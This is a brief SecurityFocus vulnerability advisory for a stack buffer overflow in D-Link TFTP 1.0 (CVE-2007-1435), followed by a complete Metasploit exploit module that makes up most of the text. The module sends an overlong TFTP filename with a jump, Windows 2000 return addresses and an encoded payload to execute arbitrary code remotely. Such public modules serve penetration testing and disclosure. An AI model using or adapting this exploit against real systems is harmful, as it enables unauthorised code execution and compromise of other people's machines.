source: http://www.securityfocus.com/bid/22923/info

D-Link TFTP is prone to a buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before storing it in a finite-sized buffer.

A remote attacker can exploit this issue to cause the application to crash, denying further service to legitimate users. Given the nature of this issue, the attacker may presumably be able to execute code.

D-Link TFTP 1.0 is vulnerable; other versions may also be affected. 

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/ 
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'D-Link TFTP 1.0 Long Filename Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack overflow in D-Link TFTP 1.0.
					By sending a request for an overly long file name, an attacker 
					could overflow a buffer and execute arbitrary code. For best results,
					use bind payloads with nonx (No NX).
			},
			'Author'         => 	[
							'LSO <lso[@]hushmail.com>', # Exploit module
							'patrick', # Refs, stability, targets etc
						],
			'Version'        => '$Revision$',
			'References'     => 
				[ 
					[ 'BID', '22923' ],
					[ 'OSVDB', '33977' ],
					[ 'CVE', '2007-1435' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00",
					'Compat'   => 
					{
						'ConnectionType' => '-reverse',
					},
				},
			'SaveRegisters'  => [ 'ecx', 'eax', 'esi' ],
			'Platform'       => 'win',
			
			'Targets'        =>
				[
					# Patrick tested OK 20090228
					['Windows 2000 SP4 English', { 'Ret' => 0x77e1ccf7 } ], # jmp ebx
					['Windows 2000 SP3 English', { 'Ret' => 0x77f8361b } ], # jmp ebx
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Mar 12 2007',
			'DefaultTarget' => 0))

			register_options([Opt::RPORT(69)], self)

	end

	def exploit
		connect_udp

		print_status("Trying target #{target.name}...")

		juju = "\x00\x01"  
		juju << Rex::Text.rand_text_alpha_upper(581)
		juju << Rex::Arch::X86.jmp_short(42)
		juju << Rex::Text.rand_text_alpha_upper(38)
		juju << [target.ret].pack('V') + payload.encoded
 
		udp_sock.put(juju)

		handler
		disconnect_udp
	end

end


